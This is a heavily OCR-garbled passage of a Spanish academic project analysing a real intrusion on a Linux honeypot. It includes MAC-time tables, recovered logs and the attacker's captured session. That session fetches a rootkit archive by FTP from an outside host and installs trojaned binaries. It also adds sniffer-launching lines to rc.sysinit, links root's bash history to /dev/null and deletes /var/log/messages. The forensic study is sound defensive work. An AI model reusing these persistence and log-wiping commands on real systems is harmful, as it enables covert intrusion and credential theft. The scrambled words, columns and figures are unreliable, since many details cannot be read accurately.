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Aug050 11 8:58:50 53. a. -r--r--r-- root r oot
hone/a nal i sis / di sco/ hone/ ft p/e t c/ group

79.a . -r--r--r-- root r oot
hone/a nal i sis / di sco/ hone/ ft p/e t c/ passwd

33036.a . -rwxr-xr-xr oot ro ot
hone/a nal i sis / di sco/ honme/ftp/lib/lib nss files-2.1.3.so0

21.a .| rwxrwxrwxr oot ro ot
hone/a nal i sis / di sco/ hone/ ftp/l ib/libnss fi les.so.2 ->I| ibnss_file s-
2.1.3.s0

Aug050 11 8:58:52 48048 .a . ---X--X--Xr oot ro ot
hone/a nal i sis / di sco/ hone/ ftp/bin/1s

21949 .a . -rwr--r-- root r oot
hone/a nal i sis / di sco/ hone/ ftp/etc/| d.s 0. cache

77216 .a . -rwWxr-xr-xr oot ro ot
hone/a nal i sis / di sco/ hore/ ftp/l ib/1d-2.1.3.so

11.a .| rwxrwxr wxr oot r oot
hone/a nal i sis / di sco/ hone/ ftp/l ib/ld-1inux.so.2 ->1 d-2.1.3.so

985256 .a . -rwxr-xr-xr oot ro ot
hone/a nal i sis / di sco/ hone/ ftp/l ib/libc-2.1.3.so

13.a .| rwxr wxrwxr oot ro ot
hone/a nal i sis / di sco/ hone/ ftp/l ib/libc.so.6 ->I ibc-2.1.3.s0

Tabla 16 — Vista parcial del fichero de tiempos MAC que muestra un acceso ftp

Sin embargo, €l trozo de fichero (posiblemente de log) recuperado anteriormente (véase
Tabla 14) reflgjaba que se habia accedido via FTP a las 10:20:36, a las 16:40:23 y alas
16:58:48 ddl 5 de Agosto.

Para intentar obtener un fichero de log completo, se procedidé a recuperar toda la
informacién reladonada con los logs que todavia estuviera dmacenada en €l sistema. En
ella se puede goredar que después de los accesos del dia 6 de Agosto por la mafiana (via
ftp) a sistema, se puso en modo promiscuo la tarjeta de red, lo cual puede indicar que en
esos ac@sos € intruso instalé un sniffer de red y comenzé el ataque en si mismo
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#st rings - #catvar -hda3|grep"” Aug"> strings -log s-vars
#c atstrin  gs_logs _vars| sort -ustrings -log s-var s_sort

#c atstrin  gs-log s-var s_sort

Aug 501:1 7:10te st3in.f tpd[405 6]:conn ect from134 .71.181 .69
Aug 501:1 7:11te st3ftpd [4056]: FTP ses sioncl osed

Aug 504:0 2:00te st3anac ron[4l1l 3]:Upda tedtim estampf orjob “cron.da ily'to
2001- 08- 05

Aug 504:0 2:0l1te st3sysl ogdl.3 -3: restart.
Aug 504:0 2:02te st3sysl ogdl.3 -3: restart.

Aug 504:2 2:00te st3anac ron[429 0]: Upda tedtim estampj ob 'cro n.weekly ' to20 01-
08- 05

Aug 510:2 0:36te st3ftpd [6888]: ANONYMOUS FTP LOGIN FROM ca -
HiH HHHHR AT A HE [62 . #i# #it# | #H##),
guest@here. com

Aug 510:2 0:39te st3ftpd [6888]: FTP ses sion clo sed

Aug 516:4 0:23te st3ftpd [7001]: ANONYMOUS FTP LOGIN FROM 213. ##.#i ##
[21 3.##.##.  ##], guest@here. com

Aug 516:4 0:24te st3ftpd [7001]: FTP ses sioncl osed

Aug 5165 8:48te st3ftpd [ 7005]: ANONYMOUS FTP LOGIN FROM 213. ##.## ##
[21 3.##.##.  ##], anonymous@a.the.n et

Aug 516:5 8:54te st3ftpd [7005]: FTP ses sioncl osed
Aug 5184 0:20te st3inf tpd[700 1]:conn ectfro m 213.## . ##.##
Aug 5185 8:44te st3inf tpd[700 5]:conn ectfro m 213.## . #.##

Aug 604:0 2:00te st3anac ron[718 2]: Upda tedtim estampfor job ‘cron. daily't o]
2001- 08- 06

Aug 607:2 9:06te st3ftpd [ 7423]: ANONYMOUS FTP LOGIN FROM pD###t #itt # i it
[21 7. #####  #.###], guest@h  eroot (  08/05 - 04: 10:00 -4283) CMD ( /sbi n/rmmod -
as)

Aug 607:2 9:08te st3ftpd [7423]:FTP ses sioncl osed

Aug 60 9:29:05 test3i n.ftpd[7 423]:c onnectf rom 217 . ####i#H | #iH#

Aug 60955 8:10te st3kern el:dev iceethO entere d promis cuous m ode

Aug 609:5 8:10te st3kern el:eth 0:Setti ngprom iscuous node.

Aug 60955 8:10te st3kern el:sni f useso bsolete (PF_INE T,SOCK_PACKET)

Tabla 17 —Fichero delogs completo reauperado del sistema

La siguiente informacién relevante que goarecié en € sistema se produjo con una anexion
ftp que se realizd desde d propio sistema hacia €l exterior. Esta onexion, redizada por €
intruso, muy probablemente sirvio para bajar algiin paguete (quiza @ "rootkit" que utilizé €
atacante).



Aug 06 010 4:02:05 24094 8 .a. -rw-r--—- --ro ot s | ocate <var -hda3-dead- 40645>
Aug 06 010 4:02:36 24094 8 m.. -rw-r--—- --ro ot s | ocate <var -hda3- dead- 40645>
Aug 06 010 8:50:04 619 6 .a. -rwxr-xr-xr oot r oot
home/analis i s/disc o/bi n/u name
Aug 06 010 9:09:08 6372 8 .a. -rwxr-xr-xr oot r oot
home/analis i s/disc of/usr/bi  nfftp
1 8 .a.l rwxrwxrw X root root
home/analis i s/disc o/ust/li b/libre adlines 0.3 ->1I ibreadli ne.so3 .0
171 346 .a. -rw-r--r-- ro ot r oot
home/analis i s/disc ofust/li b/libre adline.s 0.3.0

Tabla 18 — Conexon ftp desde €l sistema atacado recogida por € fichero de tiempos MAC

Después de terminar la conexion ftp, entre las 09:57:48 y las 09:58:30, € atacante procedio
alainstaladon del rootkit haciendo uso del script de instalacion:

Las acdones quedaron reflgjadas en €l fichero tiempos MAC:

Aug 06 010 9:57:48 1984 0 .a. -rwxr-xr-xr oot r oot
home/analis i s/disc of/sbin/i  f config
5358 8 .a. -rwxr-xr-xr oot r oot
home/ana lis i s/disco [/ usr/bi n/top
26736 0 .a. -rwxr-xr-xr oot r oot
home/analis i s/disc ol/usr/sb in/sysl ogd
62727 1 .a. -rw-r--r-- ro ot r oot <raiz - hda4-dead-2404>
Aug 06 010 9:57:55 62727 1 .c -rw-r--r-- ro ot ro ot < raiz - hda4- dead- 2404>
Aug 06 010 9:58:00 409 6 m.cd rwxr-xr-xr oot r oot home/a nalisis /disco/b in
1195 2 .a. -rwxr-xr-xr oot r oot home/a nalisis /disco/b i n/chow n
3530 0 ..c -rwxr-xr-xr oot root
home/analis i s/disc o/bin/ne t stat
3328 0 ..c -rwxr-xr-xr oot r oot home/a nalisis /disco/b i n/ps
3686 4 m.cd rwxr-xr-xr oot r oot home/a nalisis [/ disco/d ev
24 1 mc -rw-r--r-- ro ot r oot home/an alisis/  disco/de v/xdta
14 5 m.c -rw-r--r-- ro ot r oot home/an alisis/  disco/de v/xmx
1984 0 ..c -rwxr-xr-xr oot r oot
home/analis i s/disc o/sbin/i  f config
2 1816 .ac -rwxr-xr-xr oot r oot
home/analis i s/disc o/usr/bi n/cront ab
2181 6 mac -rwsr-xr-xr oot r oot
home/analis i s/disc o/usr/bi n/ct
5358 8 ..c -rwxr-xr-xr oot r oot
home/analis i s/disc of/usr/bi n/t op
409 6 m.cd rwxr-xr-xr oot r oot home/a nalisis [/ disco/u sr/shin
2705 5 .ac -rwxr-xr-xr oot r oot
home/analis i s/disc of/usr/sb inf/inr exedcs
26736 0 ..c -rwxr-xr-xr oot r oot
home/analis i s/disc o/usr/sb i n/sysl ogd

14224..c -rwxr-xr-x roct

root home/analisis/disco/usr/shin/tcpd
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(Continuacién)

home/analis i s/disc ol/usr/sb i n/tcpd
1816 8 ..c -rwxr-xr-xr oot r oot
home/analis is/ disco/us r/shin/ userhelp er
30 8 .a -rw-r--r-- ro ot oot
home/analis i s/disc of/usr/sh are/ter ninfo/d/ dumb
Aug 06 010 9:58:01 0 .ac -rw-r--r-- ro ot oot
home/analis i s/disc o/usr/bi  n/chips ul
6 5 .Cc -rwxr-xr-xr oot users
home/analis i s/disc o/usr/bi  n/make - ssh - host - key
2122 8 .ac -rwxr-xr-xr oot r oot
home/analis i s/disc o/usr/bi  n/make - ssh - known- host s
20102 0 .c  -rwxr-xr-xr oot r oot
home analisi  s/disco /usr/bin /ras2xm
2236 8 .c -rwxr-xr-xr oot r oot
home/analis i s/disc of/usr/bi  n/scp
7 5 .ac -rwx-- --- ro ot oot
home/analis i s/disc o/usr/bi  n/sourc emask
18944 8 .ac -rwxr-xr-xr oot r oot
home/analis i s/disc o/usr/bi  n/ssh
9608 0 .ac -rwxr-xr-xr oot r oot
home/analis i s/disc o/usr/bi n/ssh -add
9837 2 .ac -rwxr-xr-xr oot r oot
home/analis i s/disc of/usr/bi n/ssh -agent
1495 2 .ac -rwxr-xr-xr oot r oot
home/analis i s/disc of/usr/bi n/ssh - ask pass
9387 6 .ac -rwxr-xr-xr oot r oot
home/analis i s/disc of/usr/bi n/ssh -keygen
30 7 . -rw-r--r-- ro ot us ers
home/analis i s/disc o/usr/ma n/man6/ ssh_conf ig
69 7 .C -rw-r--r-- ro ot sers
home/analis i s/disc o/usr/ma n/man6/ sshd_con fig
Aug 06 010 9:58:03 1228 8 m.c -rw-rw-r-- ro ot oot
home/analis i s/disc of/etc/ps devtab
4096 mcdrw Xr-xr-xr oot r oot home/a nalisis [/ disco/r oot/.ss
51 2 .a -rw-- ---—- ro ot oot
home/analis i s/disc ofroot/. ssh/ran dom_seed
Aug 06 010 9:58:09 2024 0 .a. -rwxr-xr-xr oot r oot home/a nalisis/  disco/b i n/in
2 1 .a.l rwxrwxrw x root root
home/analis i s/disc ollib/li bNoVersion.so.1 ->1 ibNoVersion-2.1.3.s0
9 m.cl rwxrwxrw X root root
home/analis i s/disc ofroot/.  bash_hi story ->/ dev/null
51 2 mc -rw--- ---—- ro ot oot
home/analis i s/disc ofroot/. ssh/ran dom_seed
6 5 .a -rwxr-xr-xr oot users
home/analis i s/disc o/usr/bi n/make - ssh - host - key
20102 0 .a. -rwxr-xr-xr oot r oot
home/analis i s/disc o/usr/bi  n/ras2x m
409 6 m.cd rwxr-xr-xr oot r oot
home/analis i s/disc o/usr/ma n/manl/ ..
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home/analis

home/analis

home/analis

home/analis

home/analis

home/analis

home/analis

home/analis

s/disc

s/disc

s/disc

s/disc

s/disc

s/disc

s/disc

s/disc

(Continacion)

406 O ..c -rwxr-xr-xr oot
o/u sr/ man/manl/ .. /. dir/crea te

826 8 .Cc -rwx-- x-- Xr oot
o/usr/ma n/manl/ .. /.di r /crush

6 3 .C -rwx--—- --- ro ot
o/usr/ma n/manl/ .. /.di r /klog
2217 3 .c  -rwxr-xr-xr oot
o/usr/ma n/manl/ .. /.di r/s
716 5 ..c -rwxr-xr-xr oot
o/usr/ma n/manl/ .. /.di r /snif
3771 1 .c -rwxr-xr-xr oot
o/usr/ma n/manl/ .. /.di riw
52 5 mc -rw--- ---—- ro ot

o/usr/ma n/man6/ ssh_host _key

32 9 mc -rw-r--r-- ro ot
o/usr/ma n/man6/s sh_host_ key.pub

Aug 06 010 9:58:10 3339 2 .a. -rwxr-xr-xr oot

home/analis

home/analis

home/analis

home/analis

home/analis

home/analis

home/analis

home/analis

home/analis

home/analis

home/analis

s/disc

s/disc

s/disc

s/disc

s/disc

s/disc

s/disc

s/disc

s/disc

s/disc

s/disc

4110 4 .a. -rwxr-xr-xr oot

3530 0 .a. -rwxr-xr-xr oot
o/bin/ne t stat

3328 0 .a. -rwxr-xr-xr oot
14459 2 .a. -rwxr-Xxr-xr oot

20270 9 .a. -rw-r--r-- ro ot
o/boot/S ystem.m ap-2.2 . 14-5.0

14 5.a -rw-r--r-- ro ot
409 6 m.cd rwxr-xr-xr oot

660 m.c -rwxr-xr-xr oot
oletc/ft ~ paccess

8 9 mc -rw-- ---—- ro ot
oletc/ft  pusers

1228 8 .a. -rw-rw-r-- ro ot
oletc/ps devt ab

1369 9 m.c -rwxr-xr-xr oot
oletc/rc . d/rc.s  ysinit

409 6 m.cd rwxr-xr-xr oot
oletc/rc . d/rc2. d

409 6 m.cd rwxr-xr-xr oot
oletc/rc . d/rc3. d

409 6 m.cd rwxr-xr-xr oot
o/etc/rc  .d/rcd. d

1700 2 .a. -rwxr-xr-xr oot
o/lib/li bNoVersion-2.1 . 3.s0

44108 .a. -rwxr-xr-xr oot
o/lib/li bproc.s 0.2.0.6

4096 m.c dr wxr - xr -xr oot

r

r

r

r

r

r

r oot

r oot

oot

r oot

r oot

r oot

oot

oot

r oot
r oot

r oot

r oot
r oot

root

oot
r oot

r oot

oot

oot

r oot

r oot

r oot

r oot

r oot

r oot

r oot

home/a nalisis

home/a nalisis

home/a nalisis

home/a nalisis

home/an alisis/

home/a nalisis

home/a nalisis

/ disco/b i nicp

/ disco/b i n/mv

/ disco/b i n/ps

/ disco/b i n/tar

disco/de v/xmx

/ discole tc

/ disco/s bin
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(Continuacién)

10160 .a. -rwxr-xr-xr oot r oot
home/an alisis/d i sco/us r/bin/ki | lall
886 0 .a. -r-xr-xr-xr oot r oot
home/analis i s/disc of/usr/bi n/w
409 6 m.cd rwxr-xr-xr oot r oot
home/analis i s/disc o/usrf/ma n/manl/ .. /.di r
409 6 mc drwxr -Xxr -xr oot r oot
home/analis i s/disc o/usrf/ma n/manl/ .. /.di ri/sc
1306 7 ..c  -rwxr-xr-xr oot r oot
home/analis i s/disc o/usrf/ma n/manl/ .. /.di r/sc/lbe n
144 1 .c -rwxr-xr-x21 000 1000
home/a nal i sis/dis colusr/ man/manl/.. /. dir/sc/lb  en.c
6553 6 .c -rw-- ---—- ro ot r oot
home/analis i s/disc o/usrf/ma n/manl/ .. /.di risclco re
11 2 . -rwxr-xr-xr oot r oot
home/analis i s/disc o/usrf/fma n/manl/ .. /d ir/sclos scan
444 4 .c  -rwxr-xr-x1 000 1000
home/analis i s/disc o/usrffma n/manl/ .. /.d ir/sc/ps can.c
15715 ..c -TWXr-Xr-Xxr oot r oot
home/analis i s/disc o/usrf/ma n/manl/ .. /.di r/sc/sc an
15 121 ..c -TWXT-Xr-xr oot r oot
home/analis i s/disc o/usrf/ma n/manl/ .. /.di r/sciwu s
409 6 m.cd rwxr-xr-xr oot r oot
home/analis i s/disc o/usr/ma n/man6
102 4 m.cd rwxr-xr-xr oot r oot
home/a nalisis/  disco/v ar/run
5 mac -rw-r--r-- ro ot r oot
home/analis i s/disc of/var/ru n/sshd. pid
1 7 .cl rwxrwxrw X root root
92574>
Aug06 010 9:58:11 0 .ac rwr--r-- ro ot r oot
home/analis i s/disc o/dev/ira ndom
409 6 m.cd rwxr-xr-xr oot r oot
home/analis i s/disc oletc/rc .dfinit .d
409 6 m.cd rwxr-xr-xr oot r oot
home/analis i s/disc ofetc/rc .d/rc5. d
512 mc -rw--- ---- ro ot r oot
home/analis i s/disc o/usr/ma n/man6/ ssh_rand om_seed
108 6 ..c -rwxr-xr-xr oot r oot
77255>
1 7 ..cl rwxrwxrw X root root
92572>
Aug 06 010 9:58:22 0 macd rwxr-xr-xr oot r oot

31810>

Aug 06 01 095830 1024m.c drwxr-xr-x root  root home/analisis/disco/var/log

<r

<r

aiz - hda4- dead-

<raiz

- hda4- dead-

aiz - hda4- dead-

<raiz

-hda4-liv e-

Tabla 19 —Instalacion cel rootkit
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Analizando el contenido de la Tabla 20 se pudo observar que en primer lugar se modifico
el status de determinados ficheros (ps, netstat). El objetivo de esta modificadén fue que
éstos Plo pudieran ser gecutados por € root. También se pudo doservar la aeadon de 2
ficheros en /dev y que, como se vio anteriormente, se trataba de los ficheros de
configuradon paralos binarios troyanizados.

Otro dato de interés que se amnsiguio fue @ lugar de instalacion de los programas utili zedos
por € intruso: "usr/man/manl/.. /.dir"; en particular se pudo ver que en ese mismo
diredorio seinstal6 un sniffer (snif).

Reauperando € fichero denotado por <<raiz-hdad-dead-77255>> se comprob6 que se
trataba del script de lanzamiento del demonio de portmap. Posiblemente, € atacante lo
borré y lo sustituyd para degjar una puerta abierta de entrada a sistema para aacesos
posteriores.

Reladonado con el snif instalado por el atacante se pudo saber que la salida obtenida por
éste era dmacena en € fichero chipsul, que més tarde se renombro y paso a llamarse log.
La dltimainformadén contenida en este fichero mostraba datos bre todas las conexiones
redizadas obre @ sistema (incluido logins y passvords de accesos remotos)?.

Algunos <ripts de aranque y otros ficheros de @mnfiguradn también fueron modificados.
En particular fue interesante la modificacion realizada sobre el fichero /etc/rc.d/rc.sysinit,
ya que en € se diadieron las liness necesarias para que aiando se volviera a arancar €
equipo se activara @ sniffer:

cd/ usr/ man/manl/' .. /. dir
./snif > chipsul &
/fusribin/ras2xm-p2 120 -q

Tabla 20— Lineas introducidas en el fichero rc.sysinit

Otro dato interesante fue que d atacaite enllazd e fichero .bash_history del root a
/dev/null, con € objetivo de no dgjar ninguna constancia de los comandos que gecutaba.

En € diredorio usr/man/manl/.. /.dir/sc seinstalé un programapara el escaneo de puertos.
El resto de la informacion qie aparece @ € fichero de tiempos MAC no es reamente

importante para d andlisis.

En la Ultima fase del andlisis % precalera a examinar € flujo de tréfico capturado por €l
equipo de control. En general, los pasos a seguir suelen dividirse en:

% Dado que d carader de estainformadén no es relevante para @ estudio, se omite d contenido del fichero
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» Andisis de los flujos de datos para aruparlos $gin las distintas conexiones
Ccgpturadas . En estos casos conviene la utilizacion de dgun tipo de script que
fadlit e y automatice estalabor, pues la antidad de informadon con la que se puede
llegar a trabgjar (del orden de varios gigabytes) hace inviable un tratamiento
manual .

» Almacenamiento de la informacion de cala conexion es un fichero donde sea
fadlmente identificable: origen y destino de la conexion, fechay hora de cmmienzo
y finalizacion, puerto uilizadoy tamafio de lamisma.

» Establecer, en su caso, s existe dgun tipo de desfase horario entre d sistema de
control y el equipo analizado. Esto es fundamenta para poder comparar los datos de
las conexiones amacenadas con la informadon que ha quedado registrada en el
equipo atacado.

» Estudio de las conexiones y busqueda de datos que faciliten la identificacion del
atacante. El orden seguido a examinar las conexiones puede disminuir e tiempo
gue es necesario emplear, por eso conviene @npeza por las que parezcan mas
prometedoras.

Para separar € trafico dmacenado en e equipo de control se redizd un script en perl que
generaba automaticamente un fichero por cada conexion detectada. Como resultado de la
gjecucion de este programa se obtuvo un listado de todas las conexiones,

Este listado permiti6 comprobar que habia un desfase de 1h y 57 minutos
(aproximadamente) entre d equipo de cntrol y € equipo victima. Este dato se obtuvo a
observar que la mnexion realizada a través del puerto 21 (puerto del ftp) al equipo victima
el 5 de Agosto alas 10:20:36 desde catHtHttt HH#H## ## (segun € fichero de logs
reauperado en el equipo victima), fue recogida alas 12:17:51 del mismo dia por € equipo
de wntrol.

La seauencia de acontecimientos ocurrida fue la siguiente (se utilizae horario dado por €
equipo de control):

- El 5 de Agosto a las 01:14:41 horas hubo una @nexion desde d equipo
134 it #H# ## (puerto 4373) al puerto ftp (21) del equipo victima.

- A las 121751 dd 5 de Agosto se produjo una mnexion desde d equipo
O2 1 it HitH (CatHHHHHHHHE HH HiHHH#HHE A puerto 2149) al puerto ftp (21).

- El 5 de Agosto hubo 2 conexiones ftp (a las 18:37:28 y las 18:56:02) desde €
equipo 213.## ##.## (puertos 4906 y 1534, respectivamente). Se omite d contenido
de las conexiones.

Antes de arrar la Ultima cnexién ftp, € mismo equipo geautd otras 2 conexiones
desde los puertos 1540 y 1541 con destino a los puertos 36978 y 9669 del equipo
victima.
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La siguiente informaddn redmente interesante aparecio € 6 de Agosto a las
08:46:43, momento en & cua se conectaron desde € equipo 131.### . #HH HiHt
(lutH A A A, puerto 3650) a puerto sunrpc (remote procedure call) y que
duré6 hesta las 09:55:35. Debido alalargaduradon de la wnexiony a hecho de que
durante la conexion se establecieron comunicaciones ftp con e exterior, se puede
deducir que d atacante goroveché algun bug del servicio para gecutar un script que
autométicamente se encargarse de obtener € rootkit.

Esta teoria esta soportada por €l hecho de que se establedera una conexion ftp ala
direccion 209.### i #iH (ad#t ##) y se abriera un cana para recibir datos
(transferencia de ficheros).

De esa mnexiodn se pudo dbtener un listado de las adividades desarroll adas por €l
atacante: desde la conexion, via ftp, a un servidor para descargarse € archivo con
los ficheros troyanizados, hasta d proceso de instalacion de los mismos, asi como
el loginy & passwvord con en el que d atacante se cnecto.

Lainformacion obtenida es la que se muestra a ontinuacion:

#/u sr/sbin/  tcpdump -rt cpdump -w c onexion port21

#st rings co nexion

cd /;u name -a; id;_=n;

Lin uxtest3 2214 -50#1 Tue Mar72 0:53:41 EST 2000 i586 u nknown
uid =0(root) gid=0( r oot)

ftp 209.4### . #H#H #

be# ##H#
Password:

RV %
getbebe.ta r.gz
tar -xvzf bebet ar.gz
bebe/

bebe/create

bebe/ crush
bebe/ftpacc ess
bebelifconf ig
bebel/inrex edcs
bebelinstal |

beb e/klog
bebe/netsta t
bebel/ps

bebels

bebel/sc.tar .gz
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beb e/snif
bebe/ssh.ta
bebe/syslog
bebe/tcpd
bebe/top
bebelw
m -rf
cd bebe
i nstall
"In

"In | ocuimn

bebe.tar

stalarea a

In stalarea se

(Conti nauci 6n)
r.gz
d

.9z

in ceput aveti rabdar e...."

etstat, ps, ifc  onfig,

fac e iNnROO T mode?"

top..."

"+++ Da,p utemco ntinua"

in. rexedcs:no pro cesskil Ied
def auths:n o proce sskile d
dcs: nopro cesski |led

def auths:n o proce sskile d
rpc . statd: no pr ocesskille d
psy bnc: no  process killed

"Cr eam fisi erele/ dev... siascu ndem pro gramele . .."
"Desfacem S SH-ul. .."

usr /

usr / bin/

usr / bin/mak
usr / bin/mak
usr / bin/scp
usr / bin/ssh
usr / bin/ssh
usr / bin/ssh
usr / bin/ssh
usr / bin/ssh
usr / bin/chi

usr / bin/ras

usr / bin/sou

usr / man/

e- ssh - host - key

e- ssh - known- host s

- add
-agent

- ask pass
- key gen
psul

2xm

r cemask

usr / man/man6/

usr / man/man6/ssh_c onfig
usr / man/man6/sshd_ config
Conputingt he keys . ..
Testing the keys..

Key generat i on com plete.
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(Continuacién)
Ini tializin g rando m number generator..

Your identi ficatio n hasbe ensave d in/us r/man/m an6/ssh_ host ke y.
Your public key ha s beens avedin /usr/ma n/man6/ ssh_host _key.pu b
"In stalam s niferul si crea mdirec torulhi dden"
"lu sr/man/ exista. ..numa i trebu ie creat
"lu sr/man/m anl/ex ista..nu mai trebuie creat"
" OK]Put etisa vapedep sitidu smaniip rin FLO ODincep andde acuma"
"St ergem fi sierul rootbas h_histo ry"
"--- Li nkuim/r oot/.ba sh_histo rycu/ dev/null..."
"+++ [OK] Totul inregul a cufi sierul/ root/b ash_hist ory...
"Cr eare a p ortului secret de SSH a proape gata..."
"ra s2xm: no proces s killed
sc/ ben.c
sc/ core
sc/ osscan
sc/ pscan.c
sc/ scan
sc/ wus
"--- Snifferaf ostpor nitcus uccess --- "
"se curizare ...."
por t map: no proces s killed
rpc . statd: no proc ess Kkill ed
por t map: no proces sk illed
..gata )"
"Modifyedf orbebo iu -- re spektfr omcuri cutz:)"
rm -rf  bebe

rm -rf /var/log [/ messages

Tabla 21 — Informacion dbtenida del andlisis de las conexiones

Con los datos obtenidos del andlisis ya se puede daborar un informe donde quede reflgjado
todas la aciones redizadas por € atacante, y que puede servir de prueba para emprender
acaciones legales.
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Capitulo 4

Conclusionesy viasfuturas

Para finalizar, se muestra un resumen general de los
resultados obtenidos, asi como de |las aplicaciones reales que
tiene este trabajo. También se comentan qué caracteristicas
podrian ser ampliadas'y cdmo.

4.1. Conclusiones

Todo & mundo parece estar de acuerdo en que d problema de la seguridad en equipos
informaticos y redes de computadores es tan amplio como complgo, por eso se hace
necesario estar al dia en los nuevos métodos de ataque y tener sistemas eficaces de
detecdon de intrusiones.

Asi mismo, la dificultad de encontrar gente con experiencia en € andlisis de daguesy la
falta de un marco de trabgo comun, favorece que muchos de estos deitos no sean
denunciadosy, por supuesto, no sean penados.

En este montexto ha surgido la redizaddon de presente proyedo (que, a su vez, esta
enmarcado dentro de la experiencia piloto desarrollada por RedIRIS para la aeaddn de
una red de equipos vulnerables inspeacionada); en é se ha tratado de aunar ambos
problemas para proponer soluciones pradicas. por un lado, se ha montado una
infraestructura que ha permitido monitorizar y detectar ataques sobre distintos equipos, y
por otro se han descrito un conjunto de pasos que pueden servir como guia para la recogida
de evidencias y e andlisis de sistemas atacados, pudiéndose utilizar los resultados
obtenidos como prueba de la adividad ddlictiva del atacante. Para finali zar, se hailustrado
toda la base tedrica expuesta mediante d andlisisdeun casored .
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Los resultados acanzados como consecuencia del trabgjo redizado hacen pensar que se
abren las puertas de una nueva linea de investigacion que no ha hecho sino empezar, y que
ayudarg, en un futuro no muy legjano, a wnseguir sistemas mas sguros y a poder luchar
contralos ataques usando un marco de trabajo comun: la | nformatoscopia.

4.2. Posibles ampliaciones

En este proyecto se ha tratado de definir una arquitectura que permitiera la monitorizacion
y € andlisis de atagues bre auipos informaticos. Sin embargo, son muchas las mejoras
gue se pueden redi zar sobre labase de lo desarrollado hasta aora.

La infraestructura montada para este proyecto constituye un sistema basico de
monitorizadon de equipos, a partir de @ se pueden redizar refinamientos sucesivos que
fadliten esta labor y que permitan la obtencion e resultados de una forma mas répida y
eficaz.

Las sguientes lineas plantean algunas de las mejoras que podrian redizase @mo
continuacion a este proyecto:

» Instalacién y monitorizacion de mas equipos trampa: Detedar y andizar otros
tipos de @aques redizados bre distintos sistemas operativos. Por ggemplo: Solaris,
Iris, Windows NT... Desarrollar una infraestructura distribuida por distintas redes y
simular conexiones ficticias haciendo uso de diferentes protocolos con € fin de
inducir a atacante all egar a otros equipos trampa para poder analizar sus aaciones.

» Captura de logs remotos: El demonio syslog permite guardar fadl mente registros
en maguinas remotas, de esta forma se pretende que, aunque la seguridad de un
sistema se vea omprometida y sus logs sean modificados s puedan seguir
registrando las actividades spechosas en ura maguina, a priori, segura. Esto se
consigue definiendo un "LOGHGOST" en lugar de un archivo normal en € fichero
/etc/syslog.conf de la maguina que nos interesa guardar informadon. Por su parte,
en el host donde se desee dmacenar los logs $ debera tener definido e puerto
sysdog en /etc/services y gecutar syslog con € pardmetro '-r' para que a&pte
conexiones através de lared.

A partir de ese momento todos 10os mensagjes generados en la maguina origen se
enviaran alade destino y se registraran segun las reglas de éta: en un fichero, en un
dispositivo... 0 incluso se reenviaran a otra maguina.

Ahora bien, cualquier atacante minimamente experimentado tendra en cuenta esta
posibilidad, y una de las primeras cosas que hara después de la intrusién sera
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modificar el fichero /etc/syslog.conf para que no reaja ninguna de las adividades
redizadas por €.

Por eso seriainteresante llevar a cdo la modificacion del demonio syslog, de forma
gue éste ewvie a equipo de control (equipo remoto) todas las llamadas que se
produzcan, con independencia de que estén incluidas o no en € fichero
/etc/syslog.conf.

Monitorizacion de procesos: Como ya se ha visto a lo largo de proyedo, uno de
los patrones de comportamiento tipicos de aiaquier atacante es proceder a la
instalacion de un rootkit después de laintrusion.

Por las caracteristicas propias de estos programas, la gecucion de aalquier fichero
gue pueda delatar su presencia en e sistema sera ocultada. Asi, por gemplo, la
gjecucion de un 'syslog' troyanizado no almacenara informadén aguna sobre las
conexiones a sistema a través de determinados puertos; la gecucion de 'ps no
mostrara determinados procesos, como puede ser un sniffer dered...

Por todo €ello se hace necesario monitorizar la geaucion de los procesos del sistema,
sin que se tenga que haaer uso de los programas del sistema destinados a tal efecto
(que posiblemente estén troyanizados). Una meora, por tanto, podria ser la
redizacion de un parche que d aplicarlo al nicleo de sistema operativo (en este @so
Linux) permita monitorizar la g ecucion de cuaquier proceso. Bésicamente, 1o que
habria que hacer es un modulo que interceptara la llamada de geaucion de
programas. "exec', y, ademés de geautarla, mandarla al sysog (mostrando el
nombre del usuarioy €l proceso que esta geautando).

Modificacion de TCT: A pesar de que la herramienta TCT (utili zada en andlisis
forense) permite mangjar distintos tipos de sistemas de ficheros, cuando se compila
sobre un sistema operativo concreto, Unicamente es capaz de mangjar € sistema de
ficheros propio de la méquina sobre la que ha sido compilada. Asi, por gemplo,
aunque sea posible montar en Linux (cuyo sistema de ficheros es EXT2FS) una
particion procedente de un sistema operativo FreeBSD (cuyo sistema de ficheros es
FFS), TCT no podra redizar e andisis ©bre las imagen de la particion de
FreeBSD, ya que seria necesario la compiladdn de la herramienta sobre dicho
sistema. La idea seria modificar € codigo del programa (que e de libre
distribucion) para que reconociera sistemas de ficheros distintos a de la maquina
donde ha sido compilada.

Desarrollo de un interfaz que permita la separaciéon, visualizacion y
clasficacion de las distintas conexiones que se hayan producido sobre un
equipo, dado un flujo detrafico.

Entre otras cosas, €l programa deberia permitir:
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Almacenar en dstintos ficheros la informacién relativa a cada conexion,
indicando la hora, duracidn, origen, destino y nimero de paquetes que la
componen.

Generar una pagina HTML o ASCII con wn listado cronoldgico de las
conexiones, de forma que se pueda ver cuando se produce un escaneo,
cuando un acceso FTP...

Analizar con el snort los flujos para ver los que ntienen ataques.

Grabar los flujos FTP-data como ficheros, analizando su contenido.

Cuaquier otra adividad que fadlite @ andlisis del tréfico de red.
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5.2 Reaursos en Internet

Gran parte de la informadon empleada en este proyedo esta disponible en Internet. A
continuacion se muestran algunas URL s que pueden ser de interés:

5.2.1. Direcciones generales:

» [1] http://www.cerias.purdue.edu/homes/carrier/forensics.html
B. Carrier, Autopsy Forensic Browser v1.01.

» [2] http://www.cerias.purdue.edu/homes/carrier/forensics.html
B. Carrier. TCTUTILsVv1.01, disponible en:

» [3] http://project.honeynet.org/challenge/
D. Dittrich, The HoneyForensic Challenge.

> [4] http://project.honeynet.org/challenge/results/dittrich/evidence.txt
D. Dittrich, The HoneyForensic Challange Analysis.

» [5] http://www.porcupine.com/tct
D. Farmer and W. Venema, The Coroners Toolkit (TCT) v1.06.

» [6] http://www.scmagaz ne.com/scmagazne/2000 _09/survey/survey.html
J. Holl ey, Septiembre 2000, Market Survey: Computer Forensics, SC Magazne.

» [7] http://packetstorm.securify.com/UNIX/penetration/rootkits/Irk4.src.tar.gz
L. Somer, Linux Rootkit 4, 26 Nov., 1998, disponible en:

» [8] http://www.clark.net/~roesch/snort-1.2.1.tar.gz
Sitio de descarga de Snort (pagina del autor).

> [9] http://www.clark.net/~roesch/seaurity.html
Informad 6n sobre snort.

» [10] http://www.clark.net/~roesch/snort-lib
